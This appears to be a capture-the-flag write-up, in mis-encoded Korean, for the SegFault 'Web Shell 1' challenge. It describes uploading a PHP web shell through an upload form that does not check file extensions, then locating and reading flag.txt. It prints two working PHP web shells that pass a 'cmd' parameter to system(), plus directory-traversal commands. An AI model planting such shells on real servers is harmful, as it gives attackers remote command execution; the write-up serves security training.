[SegFault] (File Vuln) - Web Shell 1
[SegFault] (File Vuln)
Web Shell 1
php μΉ μμ μ¬λ €μ, flag.txt νμΌμ μ°Ύμλ΄λΌ!
λ¬Έμ νμ
λ³Έ λ¬Έμ λ File Vulnerabilityμ κ΄ν λ¬Έμ λ‘μ, 'Server Side Script' File, μ¦ μΉ μ(Web Shell)μ Upload νκ³ , ν΄λΉ μΉ μμ μ λ‘λ μμΉλ₯Ό μ°Ύμ μ€νμμΌ flag.txt νμΌμ μ°Ύλ λ¬Έμ μ΄λ€.
νμ΄ κ³Όμ (ν΄κ²° λ°©μ)
νμ€ μΉ μ
κΈ°λ³Έμ μΈ ν μ€ μΉμμ λ€μκ³Ό κ°λ€.
<?php
echo system($_GET['cmd']);
?>
μμ κ°μ κ°λ¨ν μΉ μμ μ¬μ©νλ κ²μ΄ μΌλ°μ μ΄μ§λ§, λΈλΌμ°μ μμ ν μ€νΈνκΈ° νΈνλλ‘ μλμ κ°μ΄ μμ ν μΉ μ μ½λλ₯Ό μ¬μ©ν κ²μ΄λ€.
μ¬μ©ν μΉ μ μ½λ
μ¬μ©νκΈ° νΈνλλ‘ μμ ν μΉ μ μ½λμ΄λ€.
<?php
echo 'Enter a Command:<br>';
echo '<form action="" method="get">';
echo '<input type="text" name="cmd">';
echo '<input type="submit">';
echo '</form>';
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
μΉ μ μ λ‘λ
κ²μνμ μ λ‘λ κΈ°λ₯μμ Server Side Script νμΌμ λν νμ₯μ κ²μ¦μ΄ μ΄λ£¨μ΄μ§μ§ μμ (.php) νμΌμ μ λ‘λκ° κ°λ₯ν κ²μ νμΈνμλ€.
μμ μΉ μμ μ λ‘λ ν ν, λ€μ΄λ‘λ λ§ν¬λ₯Ό νμΈνλ©΄, ν΄λΉ νμΌμ μμΉλ₯Ό μ μ μκ³ , ν΄λΉ κ²½λ‘λ λ€μκ³Ό κ°λ€.
http://ctf.segfaulthub.com:8989/webshell_1/files/gear/web_shell.php
flag μ°ΎκΈ°
μμ μΉμ κ²½λ‘λ₯Όμ λ ₯νλ©΄ λΈλΌμ°μ μμμ λ€μκ³Ό κ°μ μΉ μ μ°½μ νμΈν μ μλ€.
νμ¬μ κ²½λ‘λ /webshell_1/files/gear/ μ΄λ€. κ·Έλ¬λ―λ‘ flag.txt νμΌμ μ°ΎκΈ° μν΄μλ /webshell_1/ κ²½λ‘κΉμ§ μ¬λΌκ°μΌνλ€.
dir ../../
μμ κ°μ΄ μ λ ₯νμ¬ μ΄λ€ λλ ν°λ¦¬λ€μ΄ μλμ§ νμΈν΄ λ³Έ κ²°κ³Ό important_dataλΌλ λλ ν°λ¦¬κ° μ‘΄μ¬νλ κ²μ νμΈν μ μμλ€.
ν΄λΉ κ²½λ‘μ μ‘΄μ¬νλ μμ λλ ν°λ¦¬μ μ κ·Όν΄λ΄μΌ νλ€.
dir ../../important_data
μμ κ°μ΄ μ λ ₯νμ¬ ν΄λΉ λλ ν°λ¦¬μ λ΄λΆλ₯Ό νμΈν΄ λ³Έ κ²°κ³Ό flag.txtκ° μ‘΄μ¬νλ κ²μ νμΈν μ μμλ€.
λ΄μ©μ νμΈνκΈ° μν΄ cat λͺ λ Ήμ΄λ₯Ό μ΄μ©νλ€.
cat ../../important_data/flag.txt
μμ κ°μ΄ μ λ ₯ν κ²°κ³Ό flagλ₯Ό νλν μ μμλ€.
μκ°ν΄ λ³Ό μ
find λͺ λ Ήμ΄λ₯Ό μ΄μ©νμ¬ μ°Ύμ μλ μμκ² μ§λ§, ν΄λΉ λͺ λ Ήμ΄λ₯Ό μ΄μ©νλ €λ©΄ μ°ΎμΌλ €λ νμΌμ μ΄λ¦μ νμ€νκ² μκ³ μλ κ²½μ°μλ§ κ°λ₯νκΈ° λλ¬Έμ μ§μ μ°Ύμ보λ λ°©μμ μ ννμλ€.
find λͺ λ Ήμ΄λ₯Ό μ¬μ©νλ κ²½μ°λ λ€μκ³Ό κ°λ€.
find / -name flag.txt
μ§λ¬Έ νμ, μμ λ° λ³΄μμ λν μ§μ νμ